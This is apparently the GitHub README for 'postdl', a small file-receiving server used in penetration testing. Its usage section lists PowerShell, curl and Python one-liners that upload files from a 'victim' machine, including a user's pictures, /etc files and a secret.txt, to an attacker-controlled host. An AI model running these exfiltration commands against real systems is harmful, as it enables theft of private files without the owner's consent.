Skip to content

charlesgargasson/postdl

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

PostDL

Retrieving files using post requests.

Install

pipx install git+https://github.com/charlesgargasson/postdl.git@main
# pipx uninstall postdl
# pipx upgrade postdl

Usage

Starting server using http or https
postdl --ip 0.0.0.0 --port 8080
==> Listening 0.0.0.0:8080

postdl --ip 0.0.0.0 --port 8443 --tls
==> Listening 0.0.0.0:8443

Windows victim
powershell -c "(New-Object System.Net.WebClient).UploadFile('http://4.3.2.1:8080/','C:\Users\BOB\Pictures\xyz.jpg')"

Linux victim
curl -F "file=@/etc/blabla/xyz.jpg" "http://4.3.2.1:80"
curl -kF file=@/home/user/secret.txt https://4.3.2.1:8443
python3 -c 'import requests;f = {"file": open("/tmp/HACKER.tar.gz", "rb")};r = requests.post("https://4.3.2.1:443", files=f, verify=False)'

About

Retrieving files using post requests

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages